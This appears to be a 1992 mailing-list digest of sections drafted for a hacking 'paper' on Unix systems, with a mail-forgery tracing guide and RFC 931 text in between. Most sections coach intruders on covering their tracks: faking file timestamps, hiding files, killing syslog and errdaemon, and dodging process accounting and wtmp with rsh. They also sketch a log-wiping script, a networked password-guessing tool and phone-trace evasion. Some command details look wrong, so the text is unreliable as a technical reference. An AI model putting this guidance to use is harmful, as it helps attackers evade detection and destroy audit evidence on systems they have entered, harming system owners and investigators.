S The process ran as a set-user-id program
|
||
D The process dumped memory
|
||
X The process was killed by some signal
|
||
The name of the user who ran the process
|
||
The terminal which the user was logged onto at the time (if applicable)
|
||
The ammount of CPU time used by the process (in seconds)
|
||
The date and time the process exited
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
------------------------------
|
||
|
||
Date: Fri, 24 Jan 92 18:34:31 -0700
|
||
Subject: frm.mentor.paper
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
frm.mentor.paper 01.03.0 01/21/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
ls -l will tell you the last time a file was modified, make a note of
|
||
this when you tamper w/ a file, and set it back w/ the touch command when
|
||
you are finnished, syntax is:
|
||
touch hhmmMMdd [file]
|
||
Where hh is hour, mm is minute, MM, is month, and dd is the day, [file]
|
||
is obvious...
|
||
What usually gives away hackers is the files they create on systems. If
|
||
you must make files and directories on systems, make use of the hidden file
|
||
feature ('.filename'). Also try to hide them in directories that are rarely
|
||
ls'd, such as /usr/spool/lp, /usr/lib/uucp, etc.
|
||
If you replace a users file with a modified copy, this copy will be owned
|
||
by your account and group instead of the account which owned the original.
|
||
You can change the group back w/ the chgrp command. syntax is:
|
||
chgrp [groupname] [file]
|
||
and change the owner back w/ the chown command:
|
||
chown [user] [file]
|
||
If you do something wrong, assume a note of it was recorded somewhere on
|
||
the system. Leave the system and it's files exactly as you found them.
|
||
If you think it would go unknowticed, and your expection to ring alot of
|
||
bells you can turn off system logging (if you have root).
|
||
BSD ERROR LOGGING
|
||
-----------------
|
||
Type "cat /etc/syslog.pid", this file contains the process number of the
|
||
syslog (error logging) program. Kill this process, and you have stopped
|
||
error logging. Remember to start it back up when your through.
|
||
If you want to see where the error logging messages are sent, type:
|
||
cat /etc/syslog.config
|
||
Entries are in the form:
|
||
#file
|
||
Such as:
|
||
5/etc/errorlogfile
|
||
The number is the priority of the error, and the file is the file that
|
||
errors of that level are sent to. If you see an entry with /dev/console as
|
||
it's log file, watch out! Errors of that priority are sent to the system
|
||
console. Sometimes a list of usernames will follow an entry for errorlogging.
|
||
This means that these users will be notified of any errors of that priority
|
||
or higher.
|
||
There are 9 levels of error priority's, 1 is lowest, 5 is the lever of
|
||
errors gennerally caused by hackers - security violations, bad login and su
|
||
attemps, attempts to access files w/ out proper permissions..., level 9
|
||
is a system crash.
|
||
SysV ERROR LOGGING
|
||
------------------
|
||
The SysV error logging prog is errdaemon, to find it's pid type "ps -uroot"
|
||
among roots processes you will find /etc/errdaemon. If you kill it there will
|
||
be no more logging till you start it again. By default it writes errors to
|
||
the /usr/admin/errorfile.
|
||
To get a report of errors type:
|
||
errpt [-a] /usr/adm/errfile
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
------------------------------
|
||
|
||
Date: Fri, 24 Jan 92 18:44:10 -0700
|
||
Subject: shell.tools
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
shell.tools 01.04.1 01/22/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
I'll try to write a summary right now. It won't be in the proper format, but
|
||
it's not a final submission, either...
|
||
BEGIN SHELL SCRIPT SUMMARY
|
||
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||
Something that could come in handy for hacking UNIX systems would be a shell
|
||
script that would automate the following:
|
||
1) disable logging
|
||
2) edit standard logs to remove lines containing the account name that's being
|
||
used (when logs don't exist, inform the user)
|
||
3) remove information from the utmp file for the account name that's being
|
||
used in order to avoid detection
|
||
(write privs to utmp requires root privs on anything but a sun)
|
||
4) reenable logging when the user is done
|
||
(unless you are alone, it might not be a great idea to disable/reenable
|
||
logging, might look abit fishy ... how about just nuking log entries
|
||
for your username/uid/pid)
|
||
and possibly do the following:
|
||
1) alert the user when users log on and off
|
||
(how about just people w/ privs, or owner of accnt)
|
||
2) attempt to exploit known bugs and edit appropriate logs
|
||
This script could be uploaded after the user has obtained access to a system
|
||
and be executed with possible options to disable functions when they're not
|
||
desired.
|
||
(other things: set up a working subdir
|
||
store + restore .history (if present)
|
||
1 key macro to nuke subdir, logout, and suicide process )
|
||
END SHELL SCRIPT SUMMARY
|
||
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||
BEGIN HACK PROGRAM SUMMARY
|
||
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||
Another useful tool would be a program that would connect to port 25 of a
|
||
target system and attempt passwords from a dictionary on standard usernames
|
||
(guest, anonymous, ingres, new, apply, etc..) and usernames obtained manually
|
||
by the user. This would operate much like an /etc/passwd cracker, but would
|
||
actually try acct/passwd combinations over the net. NOTE: This should be used
|
||
only as a last effort from a safe acct. It will, no doubt, affect logs on
|
||
systems that log failed attempts. Possible sources for code: generic net
|
||
interface code, MUD 'bot code, telnet source.
|
||
A friend of mine wrote a telnet scanner that brought net connections to a crawl,
|
||
he just did it sequentially, w/ no delay... a very irate sysadmin dragged him
|
||
into his office and very nicely told him to never ever do that again...
|
||
a little break between calls is important!
|
||
END SUMMARY
|
||
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||
--
|
||
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||
Shannon Robert Madsen / Calculite | mtymp10@ux.acs.umn.edu
|
||
"To err is human; to moo, bovine." | "Religion is the opiate of the masses."
|
||
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
------------------------------
|
||
|
||
Date: Fri, 24 Jan 92 18:52:14 -0700
|
||
Subject: phone.trace.evsn
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
phone.trace.evsn 01.05.0 01/24/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
Don't have mutch for this area yet. some stratagies are:
|
||
use a goldbox
|
||
use a diverter
|
||
radio or cordless phone 1/2 in a bbox, 1/2 a safe distance away.
|
||
use call forwarding to forward to a phone in a different babybell's area,
|
||
then send it through MCI (refuses to provide call records in court) or to
|
||
thriftytell(flat rate service w/ no call detail records)
|
||
PLEASE ADD TO THIS!
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
------------------------------
|
||
|
||
Date: Fri, 24 Jan 92 18:57:04 -0700
|
||
Subject: BSD.accnt.files
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
BSD.acct.files 01.06.1 01/18/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
SUMMARY OF BSD ACCOUNTING FILES:
|
||
--------------------------------
|
||
data kept filename type owner group mode note
|
||
----------------------------------------------------------------------------
|
||
CPU,memory,i/o /usr/adm/acct binary root system 644 (1)
|
||
connect time /usr/adm/wtmp binary root system 644 (2)
|
||
disk usage the file system n/a root operator 640 (3)
|
||
printer usage /usr/adm/lpacct text daemon daemon 644 (4)
|
||
dialout usage /usr/adm/aculog text uucp daemon 644 (5)
|
||
console msgs /usr/adm/messages ? root system 664 (6)
|
||
shutdown reasons /usr/adm/shutdownlog ? root system 664 (7)
|
||
time daemon log /usr/adm/timed.log ? root system 644 (8)
|
||
uucp transaction /usr/spool/uucp/LOGFILE ? uucp daemon 664 (9)
|
||
uucp file transfer /usr/spool/uucp/SYSLOG ? uucp daemon 664 (10)
|
||
network routing /usr/adm/gatedlog ? root system 644 (11)
|
||
news connection .../news/nntp/logfile ? news news 644 (12)
|
||
----------------------------------------------------------------------------
|
||
1)accton(?) turns on accounting, sa(?) used to read, with the '-s' flag will
|
||
summerize CPU usage by command, and TRUNCATES /usr/adm/acct to ZERO LENGTH!
|
||
all commands executed once or with unprintable chars show up as '***other'
|
||
(hmmm..), the system automatically suspends accounting if the file system
|
||
that contains the accounting data becomes 95% full. If the machine crashes
|
||
or is rebooted, processes that were running are not recorded in the CPU acct
|
||
file, you can avoid cpu accounting by having your program sleep indefininatly
|
||
upon completion as a program that never terminates does not produce any
|
||
accounting record. (sleep(?) is also a good alternative to at and cron for
|
||
hiding periodic processes). man acct(5)
|
||
4)can also be set via a macro in /etc/printcap
|
||
5)records login name, date, time, phone number, and status of all calls made
|
||
through a dial out modem via the cu(?), tip(?) and uucp family of commands.
|
||
If you are allowed to talk directly to the modem via a dialer entry in the
|
||
file /etc/remote then the command 'tip dialer' will circumvent the
|
||
accounting process.
|
||
6)also messages.N where N is from 0 to 6, usually.
|
||
9/10)This is for V7 UUCP, HDB (as in SunOS 4.x) is under /usr/spool/uucp/.Log
|
||
/{uucp,uucio,uux,???}/<system name>
|
||
8/11/12)These are not standard, though many systems have them. Also, the
|
||
filenames are compile time options (or set in config files)...
|
||
----------------------------------------------------------------------------
|
||
Q's)"owner, group, and mode(octal) of the accounting data files is important
|
||
and that any program used to reinitialize these files should be shure to
|
||
chown, chgrp, and chmod appropriatly" - so what happens if these are altered?
|
||
will a prog that 'unlink argv[0];'s be logged?
|
||
what about if the utmp entry is zero'd out?
|
||
other tricks?
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
------------------------------
|
||
|
||
Date: Fri, 24 Jan 92 19:29:37 -0700
|
||
Subject: trace.fakemail.gd
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
trace.fakemail.guide 01.07.0 01/21/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
Phil Goetz asked how to trace forged mail. The short answer is: use
|
||
log files and talk to other sysadmins so they'll do the same.
|
||
A forged messages is injected into the mail system at some point, with
|
||
a particular set of header lines. The header lines inserted after that
|
||
point will be real. You can verify that the lines are real by checking
|
||
the logs on each system to see that they match what's in the message.
|
||
When you find a discrepancy, you are close to the insertion point.
|
||
Then you can poke around there to determine how the forged message was
|
||
inserted into the mail system, and by who. As you'll see, there are
|
||
lots of places where it could've come in.
|
||
The long answer is specific to the programs involved. My description
|
||
covers sendmail and uucp. I encourage people to clean up this
|
||
description and add their own ideas, suggestions, and mailer programs.
|
||
Look in the message for its message-ID and Received: lines. These will
|
||
tell you what systems the message has gone through. Start with the
|
||
last system (the recipient's system). Check the sendmail log (or
|
||
equivalent) for that message-ID. This will let you map the message-ID
|
||
to a queue-ID (generally AAxxxxx or ABxxxxx) which is in every log line
|
||
that refers to this message. The log will show the message-ID, a from=
|
||
line, and a set of to= lines indicating how it was delivered. If the
|
||
log entries are there, you can probably believe the Received: line for
|
||
that time, which indicates where the message came from. If it came
|
||
from an Internet site, go back to that site and check its logs. If it
|
||
came from uucp, sendmail won't know its origin, but you can check the
|
||
uucp logs for a line at that time indicating "XQT (...rmail...)". [If
|
||
you don't find one, the message was probably inserted onto your system
|
||
by running sendmail or /bin/mail manually.]
|
||
The system name in the uucp log "XQT" line will tell you part of the
|
||
file name of the incoming mail. Probably the message came from that
|
||
system, but uucp doesn't check for this, so somebody could've sent you
|
||
uucp files containing somebody else's system name. Look back in the
|
||
log for files coming in with this system name in the filename. You can
|
||
also look in the uucp SYSLOG file, which contains the size of each file
|
||
transferred, to help figure out which file contained the message. In
|
||
some cases there is no way to unambiguously track the message here
|
||
(until uux and uuxqt logging is improved to show the queue ID that it's
|
||
executing). But in most cases you'll find where the message came in
|
||
from. Contact the site admin for that site, indicate that you received
|
||
the message at such and such a time, and have them check their uucp
|
||
logs. They should find that the message was transferring at the same
|
||
time. If not, it means somebody called your system and claimed to be
|
||
them doing uucp; if you have a separate uucp login/password per site,
|
||
you'll know that either you or they let the password get out. Change
|
||
it. (Note that anyone who is root on their system can read this
|
||
password out of their L.sys file.) If you don't have a separate uucp
|
||
login/password for each site, fix this! You can't tell when your
|
||
password is leaked, which site it leaked through! Also, don't put
|
||
phone numbers and uucp logins in email; tell the remote site by phone.
|
||
If you don't know their phone number, find it out -- how are you going
|
||
to tell them about troubles on your uucp link when your link is broken?
|
||
If the other site finds that the same files were moving in their logs
|
||
as in your logs, then have them scan back through the log to find an
|
||
XQT QUE'D entry for this message. You should know what's in the rmail
|
||
command's arguments (since they're in your XQT log message) and the
|
||
same arguments will appear in the XQT QUE'D message. That shows you
|
||
the date and time when the message entered the uucp queue on their
|
||
system. Then their site admin can cross-reference to the sendmail log
|
||
to verify that the message exited sendmail at the same time it entered
|
||
uucp (if not, the message was inserted manually by someone running a
|
||
"uux" command on their system), and trace the sendmail log back. They
|
||
can also check the Received: lines in the message to help find it in
|
||
the sendmail log, or simply grep for the message-ID.
|
||
If the message had come into sendmail via an SMTP connection rather
|
||
than via uucp, the Received: line should say "Received: from xxxxx".
|
||
If there are two addresses in XXXXX then check both of them; one is how
|
||
that site identified itself in the SMTP protocol; the other is what the
|
||
host table said about the Internet address where the connection is
|
||
coming from. Have the site admin on that/those sites check their logs
|
||
and work back from there. If there is no record of sendmail handling
|
||
the message on that site, but your sendmail says it was received from
|
||
that site, either someone on that site inserted the message (e.g. by
|
||
doing "telnet yoursite smtp") or some other site impersonated their IP
|
||
address. (A third possibility is that your host table or domain name
|
||
cache has been hacked to make the site-they-connected-from appear to
|
||
have the name of some other site). Start poking around with what
|
||
users and processes were running on their system, and double-check
|
||
the name server or hosts file on your system.
|
||
Checking the "last" and "lastcomm" and cron logs may also be quite
|
||
helpful to find sendmail and uucico and uux runs, either to
|
||
disambiguate other log entries or if you lose the trail. It would help
|
||
a lot to have an inetd log, too; has anyone hacked this into inetd?
|
||
(Inetd is the master daemon that handles incoming connections for a
|
||
whole mess of protocols, including telnet, rlogin, ftp, etc -- but not
|
||
smtp).
|
||
It's harder to trace a forgery that occurs by changing the contents of
|
||
an existing message. E.g. the sender sent one version, the recipient
|
||
got another. It could have been modified at each site along the way as
|
||
it sat in a queue. It may be possible to track this down by checking
|
||
the mesasge sizes at each site, but you have to account for the header
|
||
lines changing. You could send a second message through the same path,
|
||
with the same initial byte count, see what transformations happen
|
||
to it along the way, and compare its logged byte counts to the counts
|
||
of the forged message.
|
||
If you can trace the message all the way back to the sender's site, but
|
||
they claim they didn't send it, then the last and lastcomm and cron
|
||
logs are useful for seeing who was on the system and what processes
|
||
were running. Lastcomm (Unix process accounting) really should be
|
||
logging the PID of each process so that its log can be backtraced into
|
||
the other log files (sendmail and uucp both log the PID). Perhaps some
|
||
other user sent the mail while su'd to that user, or injected it into
|
||
the local sendmail daemon by connecting to the SMTP port on the local
|
||
machine. Perhaps they used the TIOCSTI ioctl to insert fake 'typing'
|
||
into one of the user's windows (perhaps even an iconified window) that
|
||
caused the message to be sent "by them". This can be done when nobody
|
||
else is logged in, but requires a process left around from some earlier
|
||
time -- which should show up in lastcomm logs. Or perhaps someone just
|
||
walked by their terminal, popped up a shell window, sent the message,
|
||
and destroyed the window. This can be done in seconds if the message
|
||
is in a prepared file (e.g. in /tmp), but again you'll find it in the
|
||
process logs.
|
||
If the user logs into that system via TCP, the TCP connection can be
|
||
compromised (e.g. by forging a packet to appear to be from their
|
||
workstation or x terminal). The next packet that is sent from the real
|
||
TCP connection will cause the connection to reset, but that could
|
||
happen hours later, and will just look like temporary network trouble
|
||
(the window disappears or the rlogin says "Connection closed"). This
|
||
is harder to spot since neither end of the link won't see anything odd
|
||
until much later (except that the terminal may get some output
|
||
resulting from the mail being sent, like another shell prompt; this
|
||
could be disguised by clever use of terminal escape codes so it
|
||
overprints the previous shell prompt). Lastcomm showing that the last
|
||
thing to run on that pty was the mailer, even if the end of the pty
|
||
(its shell terminating) happens much later, is probably your best clue
|
||
there. An SMTP tcp connection can also be altered in this way. I have
|
||
heard that someone at MIT is logging the first 50 bytes of every packet
|
||
that goes through their Internet gateways, and keeping it for days. If
|
||
you were really desperate, and the breakin happened at MIT, you could
|
||
try locating the person doing the logging. (Needless to say the log is
|
||
not available to everyone, since it includes all the login names and
|
||
passwords used through the gateway!!!)
|
||
Also don't forget that a claimed forgery may be a real message that the
|
||
sender wishes to repudiate.
|
||
As you can see, tracking a message back through five or ten sites this
|
||
way would involve a lot of work and coordination, as well as requiring
|
||
quick action so that that the forgery is noticed and traced before each
|
||
of those sites' logs are removed. I encourage sites to keep a few
|
||
weeks' worth of uucp and sendmail logs so that this kind of forgery can
|
||
be more easily traced. Compress them to save space. Suns come with
|
||
shell scripts that keep the log files for N days; you can hack these to
|
||
alter N, move logs to places where there's more space, compress, or
|
||
whatever.
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
------------------------------
|
||
|
||
Date: Fri, 24 Jan 92 19:36:13 -0700
|
||
Subject: IP.tracing
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
IP.tracing 01.08.0 01/21/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
>one question: how do you trace someone through the net? in progress/after the
|
||
>fact. - needed for current section of paper, thanks.
|
||
It is directly related to the method they used to enter the net. For instance
|
||
the /var/log/syslog file contains alot of information from folks using
|
||
sendmail. There are obviously uucp logs. Some folks run front ends to the
|
||
progs run out of inetd, which causes some logging -- to where... I dunno,
|
||
depends on how they compiled the software. Best bet is to watch these
|
||
directories:
|
||
/var/log
|
||
/var/adm
|
||
>ok, on the logging thing, I was thinking of tracing IP packets... could you
|
||
>expand on that a little?
|
||
Again, nothing in *standard* unix. Sure, theoretically, I could, and I know
|
||
that some sites do, trap and log all IP packets.
|
||
>netstat, ofiles, rfc931, and packages that will log
|
||
>what it sends all seem to have something to do with it...
|
||
Yes, sites *could* run some of this stuff, but to say WHERE they are logging
|
||
it is impossible. One would certainly want to do a long ps listing to see
|
||
what processes are running. One implementation of RFC931 has a daemon called
|
||
authd, but most folks run it out of inetd, so that would go un-noticed. I
|
||
personally feel that the easiest way to detect such changes is to do a
|
||
comparison to an "out of the box" system. For instance, compare inetd.conf
|
||
files -- files created under /var/log and /var/adm, and so on....
|
||
>'last' reads some file and tells where the connect to a particular accnt ...
|
||
It reads wtmp (on suns /var/adm/wtmp). It logs normal logins, but not things
|
||
like rsh. This obviously makes things like rsh HOST sh -i very useful. Also
|
||
note that certain versions of utils like xterm and screen don't do logging,
|
||
due to the non-writability of utmp on some systems and those apps not being
|
||
setuid to a uid that can write to it. Basically, if you come in and even
|
||
touch the "login" program, wtmp will have mention of it. Again, not rsh
|
||
doesn't.
|
||
>also what methods could be used to enter the net (brief, for now)
|
||
Well, obviously you need to make it to a node on "the net". This is done
|
||
by either:
|
||
dialing up a host
|
||
dialing up a terminal server*
|
||
*= Some terminal servers are WIDE OPEN. Ask some folks about terminus...
|
||
There are other ways, but I don't know much more about them. I know there
|
||
is a packet radio network and a few sites will actually forward their packets.
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
------------------------------
|
||
|
||
Date: Fri, 24 Jan 92 19:47:24 -0700
|
||
Subject: more.IP.tracing
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
more.IP.tracing 01.09.0 01/22/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
Subject: Finding out where someone remotely logged in from
|
||
>Suppose a program is running as the login shell under telnetd (or is a
|
||
>script run by the login shell, or some such). Is there a good way it
|
||
>can discover the remote host from which the login was made?
|
||
>The best way I've been able to figure out is to get the tty name (from
|
||
>'who am i') and look it up in /etc/utmp. Unfortunately, utmp only
|
||
>contains the first 16 characters of the remote host name. It seems to
|
||
>me that there should be a good way to do this, since the telnetd could
|
||
>just do a getpeername and find out its address. (In fact, either
|
||
>telnetd or login *does*, in order to make the entry in utmp.) But
|
||
>this information doesn't seem to be easily available to child
|
||
>processes.
|
||
The quick answer is that you can use either netstat or ofiles.
|
||
netstat gives you a list of connections, and you have to pick out the one
|
||
that corresponds to the utmp entry, then use netstat -n to get the IP address.
|
||
Alternatively, you can use ofiles on the corresponding in.telnetd process
|
||
(the parent of the shell), and see where file descriptors 0, 1 and 2 point to.
|
||
That's where they're coming from.
|
||
--------------------
|
||
I have a similar problem only we are using System V and thus our hostname of
|
||
origin isn't in /etc/utmp
|
||
Is there a way to use netstat (which _does_ show the origin) and associate
|
||
the results with individual terminals or users?
|
||
[...]
|
||
Paul Mc Auley | God is real . . . . . .
|
||
--------------------------|
|
||
AKA pmcauley@maths.tcd.ie | . . . . . . . . Unless Declared an Integer.
|
||
----------------------
|
||
Ok, not much of a solution, but at least it works:
|
||
I had to do this for a client a couple of years ago. The solution I
|
||
used then was (lacking source at their site) as follows:
|
||
If you are using inetd (if not, the same _principle_ applies but the
|
||
implementation is a trifle more complex), simply write a short programme that
|
||
replaces telnetd. This programme does a getpeername() on it's stdin descrip-
|
||
tor and squirrels it away somewhere before invoking the _real_ telnet or login
|
||
daemon (with any arguments IT was originally called with).
|
||
Places to squirrel the information:
|
||
1/ In an environment variable. This sometimes works but can allow a
|
||
user to `fake' their location and anyway, some telnetd/rlogind programmes
|
||
refuse to pass over an inherited environment.
|
||
2/ In a file indexed by something. Pick a suitable index - I used
|
||
the PID since I already had (fast) routines to trace process parentage that
|
||
would allow you to find the highest parent (closest to init) who'se parent
|
||
WAS init - this would be the telnet/rlogin daemon (having the same PID as
|
||
the new programme). It would be nice to know the tty name that the daemon
|
||
will allocate, but unfortunately this hasn't been decided yet (there are
|
||
frigs round this but they're unpleasant).
|
||
3/ fork/exec - child exec's the real daemon, parent closes it's
|
||
descriptors and watches for the PGRP of the child at which point the tty
|
||
name is known (hackity hack).
|
||
----------------------
|
||
> netstat gives you a list of connections, and you have to pick out
|
||
> the one that corresponds to the utmp entry, then use netstat -n to
|
||
> get the IP address.
|
||
> Alternatively, you can use ofiles on the corresponding in.telnetd
|
||
> process (the parent of the shell), and see where file descriptors
|
||
> 0, 1 and 2 point to. That's where they're coming from.
|
||
I've looked into this, and run into some problems:
|
||
netstat will truncate a symbolic host name to 16 characters (as does
|
||
finger and the entry in utmp). This can be easily overcome with -n,
|
||
which causes it to give numeric IP addresses.
|
||
Unfortunately, netstat gives no way to associate a particular
|
||
connection with the telnetd that it feeds. In fact, all incoming
|
||
telnet connections list the same address on "this end" (port 512).
|
||
ofiles might be useful, but we don't have it (we're running SunOS
|
||
4.1.1), as far as I can tell.
|
||
I have found that pstat -u will give all sorts of useful information
|
||
about a process, including where internal control blocks are located.
|
||
The 'files' field has pointers to the open files table, and pstat -f
|
||
will list information about the open files table. But, alas, the peer
|
||
address is not listed.
|
||
Does anybody know of any other utilities to investigate?
|
||
-----------------
|
||
RARP can catch IP forgery; encryption systems like Kerberose, simply
|
||
ignore forged packets.
|
||
------------------
|
||
> "any desired IP address" Seems to me that you're limited to using ip
|
||
>addresses in the range assigned to the subnet of your local wire.
|
||
>Otherwise, you're not going to be able to interact with (or attack) any
|
||
>systems (even ones on the local wire). And if you do change the ip address
|
||
>to an unused one and then back to the real one when you're done, you will
|
||
>have given away your site and genneral location.
|
||
This is a common misconception.
|
||
Yes, you need to use an address in your sub-net if you wish to receive
|
||
any reverse traffic, but not all popular protocols rely on two-way
|
||
communications. NFS servers, for instance, perform the requested operation
|
||
and then send the reply back; if the reply can't reach the sender, the
|
||
operation has still been carried out, so who cares if the reverse
|
||
communication isn't possable? Simmilarly, many network time protocols use
|
||
one-way datagrams.
|
||
----------------
|
||
[...]look at the /etc/services file. Each of these services is a possable
|
||
security problem.
|
||
-----------------
|
||
ME: Hmmm, someone tried to break in from 'foo.bar.edu'.
|
||
<in e-mail> "Hey, root@foo.bar.edu. Someone tried to crack my
|
||
machine from yours. Could you check your logs for
|
||
Wed Jan 22 07:00:00 EST? Thanks."
|
||
ROOT: <in e-mail> "Someone from baz.bletch.com logged into our guest
|
||
account from 04:00:00 to 08:30:00 this morning. Hmm, I think I'm
|
||
going to start keeping a closer eye on the use of my guest account
|
||
from now on."
|
||
ME: "Thanks, root@foo.bar.edu." "Hey, root@baz.bletch.com ..."
|
||
--------------
|
||
There are many other groups working on reducing internet anonymity: for
|
||
example, Athena, the auth-acct list, SAAG, even rfc931-users.
|
||
^^^^^^^^^^^^^^ ^^^^
|
||
anyone know who these groups are?
|
||
--------------
|
||
Try tracing this...
|
||
telnet to nsf.sun.ac.uk
|
||
log into janet pad
|
||
connect to {some janet site}
|
||
now connect from there ta a certain SPAN node
|
||
now patch out to the internet
|
||
There are at least 2 of the SPAN-IP gateways (where?)
|
||
Try tracing that convaluded mess!
|
||
It makes your terminus look like a kindergarden session:
|
||
You have involved 3 networks, 2 countries, and about 5 science/networking
|
||
agencies. Its a game of hunt the duristiction folks.
|
||
-------------
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
------------------------------
|
||
|
||
Date: Fri, 24 Jan 92 19:55:52 -0700
|
||
Subject: rfc931
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
rfc.931 01.10.0 01/22/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
Network Working Group Mike StJohns
|
||
Request for Comments: 931 TPSC
|
||
Supersedes: RFC 912 January 1985
|
||
Authentication Server
|
||
STATUS OF THIS MEMO
|
||
This RFC suggests a proposed protocol for the ARPA-Internet
|
||
community, and requests discussion and suggestions for improvements.
|
||
This is the second draft of this proposal (superseding RFC 912) and
|
||
incorporates a more formal description of the syntax for the request
|
||
and response dialog, as well as a change to specify the type of user
|
||
identification returned. Distribution of this memo is unlimited.
|
||
INTRODUCTION
|
||
The Authentication Server Protocol provides a means to determine the
|
||
identity of a user of a particular TCP connection. Given a TCP port
|
||
number pair, it returns a character string which identifies the owner
|
||
of that connection on the server's system. Suggested uses include
|
||
automatic identification and verification of a user during an FTP
|
||
session, additional verification of a TAC dial up user, and access
|
||
verification for a generalized network file server.
|
||
OVERVIEW
|
||
This is a connection based application on TCP. A server listens for
|
||
TCP connections on TCP port 113 (decimal). Once a connection is
|
||
established, the server reads one line of data which specifies the
|
||
connection of interest. If it exists, the system dependent user
|
||
identifier of the connection of interest is sent out the connection.
|
||
The service closes the connection after sending the user identifier.
|
||
RESTRICTIONS
|
||
Queries are permitted only for fully specified connections. The
|
||
local/foreign host pair used to fully specify the connection are
|
||
taken from the query connection. This means a user on Host A may
|
||
only query the server on Host B about connections between A and B.
|
||
QUERY/RESPONSE FORMAT
|
||
The server accepts simple text query requests of the form
|
||
<local-port>, <foreign-port>
|
||
where <local-port> is the TCP port (decimal) on the target (server)
|
||
system, and <foreign-port> is the TCP port (decimal) on the source
|
||
(user) system.
|
||
For example:
|
||
23, 6191
|
||
The response is of the form
|
||
<local-port>, <foreign-port> : <response-type> : <additional-info>
|
||
where <local-port>,<foreign-port> are the same pair as the query,
|
||
<response-type> is a keyword identifying the type of response, and
|
||
<additional info> is context dependent.
|
||
For example:
|
||
23, 6191 : USERID : MULTICS : StJohns.DODCSC.a
|
||
23, 6193 : USERID : TAC : MCSJ-MITMUL
|
||
23, 6195 : ERROR : NO-USER
|
||
RESPONSE TYPES
|
||
A response can be one of two types:
|
||
USERID
|
||
In this case, <additional-info> is a string consisting of an
|
||
operating system name, followed by a ":", followed by user
|
||
identification string in a format peculiar to the operating system
|
||
indicated. Permitted operating system names are specified in
|
||
RFC-923, "Assigned Numbers" or its successors. The only other
|
||
names permitted are "TAC" to specify a BBN Terminal Access
|
||
Controller, and "OTHER" to specify any other operating system not
|
||
yet registered with the NIC.
|
||
ERROR
|
||
For some reason the owner of <TCP-port> could not be determined,
|
||
<additional-info> tells why. The following are suggested values
|
||
of <additional-info> and their meanings.
|
||
INVALID-PORT
|
||
Either the local or foreign port was improperly specified.
|
||
NO-USER
|
||
The connection specified by the port pair is not currently in
|
||
use.
|
||
UNKNOWN-ERROR
|
||
Can't determine connection owner; reason unknown. Other values
|
||
may be specified as necessary.
|
||
CAVEATS
|
||
Unfortunately, the trustworthiness of the various host systems that
|
||
might implement an authentication server will vary quite a bit. It
|
||
is up to the various applications that will use the server to
|
||
determine the amount of trust they will place in the returned
|
||
information. It may be appropriate in some cases restrict the use of
|
||
the server to within a locally controlled subnet.
|
||
APPLICATIONS
|
||
1) Automatic user authentication for FTP
|
||
A user-FTP may send a USER command with no argument to the
|
||
server-FTP to request automatic authentication. The server-FTP
|
||
will reply with a 230 (user logged in) if it can use the
|
||
authentication. It will reply with a 530 (not logged in) if it
|
||
cannot authenticate the user. It will reply with a 500 or 501
|
||
(syntax or parameter problem) if it does not implement automatic
|
||
authentication. Please note that no change is needed to currently
|
||
implemented servers to handle the request for authentication; they
|
||
will reject it normally as a parameter problem. This is a
|
||
suggested implementation for experimental use only.
|
||
2) Verification for privileged network operations. For example,
|
||
having the server start or stop special purpose servers.
|
||
3) Elimination of "double login" for TAC and other TELNET users.
|
||
